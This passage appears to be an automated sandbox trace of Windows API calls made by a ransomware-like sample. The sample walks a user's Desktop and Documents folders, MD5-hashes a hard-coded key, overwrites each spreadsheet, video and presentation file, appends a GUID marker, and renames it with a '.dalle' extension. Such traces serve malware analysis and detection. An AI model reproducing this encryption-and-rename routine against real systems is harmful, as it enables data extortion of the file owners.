flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.084] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10013, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.084] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.085] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x10039, lpOverlapped=0x0) returned 1 [0121.086] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.086] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.086] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.086] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0121.087] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.087] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.087] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.087] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.087] GetLastError () returned 0x0 [0121.087] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.087] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0121.087] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.088] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10039, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.088] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.088] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.088] CloseHandle (hObject=0x618) returned 1 [0121.089] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\X SffuOAF0TL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\x sffuoaf0tl.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xwoxab1ONVdFr-x7cTy\\X SffuOAF0TL.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xwoxab1onvdfr-x7cty\\x sffuoaf0tl.avi.dalle")) returned 1 [0121.090] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.090] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.091] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924e3a0, ftCreationTime.dwHighDateTime=0x1d4cba2, ftLastAccessTime.dwLowDateTime=0xc35e3830, ftLastAccessTime.dwHighDateTime=0x1d4c750, ftLastWriteTime.dwLowDateTime=0xc35e3830, ftLastWriteTime.dwHighDateTime=0x1d4c750, nFileSizeHigh=0x0, nFileSizeLow=0x10039, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X SffuOAF0TL.avi", cAlternateFileName="XSFFUO~1.AVI")) returned 0 [0121.091] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.091] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.091] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.091] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\") returned="BZeNr_asZgOghC\\" [0121.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.091] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.091] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.091] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.091] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.091] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.091] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.092] PathFindFileNameW (pszPath="") returned="" [0121.092] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0121.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea720a0, ftCreationTime.dwHighDateTime=0x1d4d2e0, ftLastAccessTime.dwLowDateTime=0xe4ca9fe0, ftLastAccessTime.dwHighDateTime=0x1d4d317, ftLastWriteTime.dwLowDateTime=0xe4ca9fe0, ftLastWriteTime.dwHighDateTime=0x1d4d317, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.093] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea720a0, ftCreationTime.dwHighDateTime=0x1d4d2e0, ftLastAccessTime.dwLowDateTime=0xe4ca9fe0, ftLastAccessTime.dwHighDateTime=0x1d4d317, ftLastWriteTime.dwLowDateTime=0xe4ca9fe0, ftLastWriteTime.dwHighDateTime=0x1d4d317, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.093] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473fbf70, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0x320c6a00, ftLastAccessTime.dwHighDateTime=0x1d4cf98, ftLastWriteTime.dwLowDateTime=0x320c6a00, ftLastWriteTime.dwHighDateTime=0x1d4cf98, nFileSizeHigh=0x0, nFileSizeLow=0x16ab1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZMRkOD2Lz_.xls", cAlternateFileName="2ZMRKO~1.XLS")) returned 1 [0121.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.093] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.093] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.093] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\2ZMRkOD2Lz_.xls") returned=".xls" [0121.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\2ZMRkOD2Lz_.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\2zmrkod2lz_.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.094] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=92849) returned 1 [0121.094] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.095] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16a8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.096] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.097] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.097] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.097] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.097] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x16ab1, lpOverlapped=0x0) returned 1 [0121.098] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.098] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.098] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.098] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.098] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.099] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.099] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.099] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.099] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.099] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.099] GetLastError () returned 0x0 [0121.099] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.099] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.099] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.099] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16ab0) returned 0x3096780 [0121.100] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.100] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.100] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x16aac, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x16aac, lpOverlapped=0x0) returned 1 [0121.100] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.100] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16ab1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.100] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.100] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.100] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.100] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.100] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.100] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.100] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.100] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.100] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.101] CloseHandle (hObject=0x618) returned 1 [0121.102] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.102] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.102] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\2ZMRkOD2Lz_.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\2zmrkod2lz_.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\2ZMRkOD2Lz_.xls.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\2zmrkod2lz_.xls.dalle")) returned 1 [0121.102] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.102] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.103] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.103] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81611d0, ftCreationTime.dwHighDateTime=0x1d4c6ca, ftLastAccessTime.dwLowDateTime=0xe5f0f7a0, ftLastAccessTime.dwHighDateTime=0x1d4cbe9, ftLastWriteTime.dwLowDateTime=0xe5f0f7a0, ftLastWriteTime.dwHighDateTime=0x1d4cbe9, nFileSizeHigh=0x0, nFileSizeLow=0x12be0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9hdqtzw Z.xlsx", cAlternateFileName="9HDQTZ~1.XLS")) returned 1 [0121.103] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.103] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.103] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.103] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\9hdqtzw Z.xlsx") returned=".xlsx" [0121.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\9hdqtzw Z.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\9hdqtzw z.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.105] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=76768) returned 1 [0121.105] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.107] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12bba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.107] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.108] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.108] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.108] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.108] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x12be0, lpOverlapped=0x0) returned 1 [0121.109] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.109] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.109] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.109] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.109] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.110] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.110] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.110] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.110] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.110] GetLastError () returned 0x0 [0121.110] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.110] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.110] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.110] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x12be0) returned 0x3096780 [0121.111] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.111] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x12bdb, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x12bdb, lpOverlapped=0x0) returned 1 [0121.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.111] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12be0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.111] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.111] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.111] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.112] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.112] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.112] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.112] CloseHandle (hObject=0x618) returned 1 [0121.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.113] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.113] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.113] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\9hdqtzw Z.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\9hdqtzw z.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\9hdqtzw Z.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\9hdqtzw z.xlsx.dalle")) returned 1 [0121.114] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.114] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.115] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c6e110, ftCreationTime.dwHighDateTime=0x1d4d57f, ftLastAccessTime.dwLowDateTime=0x1ea0e5f0, ftLastAccessTime.dwHighDateTime=0x1d4cd17, ftLastWriteTime.dwLowDateTime=0x1ea0e5f0, ftLastWriteTime.dwHighDateTime=0x1d4cd17, nFileSizeHigh=0x0, nFileSizeLow=0x8bf2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eJ7XqPBACiw50mT5S.ppt", cAlternateFileName="EJ7XQP~1.PPT")) returned 1 [0121.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.115] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.115] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.115] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\eJ7XqPBACiw50mT5S.ppt") returned=".ppt" [0121.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BZeNr_asZgOghC\\eJ7XqPBACiw50mT5S.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bzenr_aszgoghc\\ej7xqpbaciw50mt5s.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.115] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=35826) returned 1 [0121.115] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.117] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8bcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.117] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.118] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 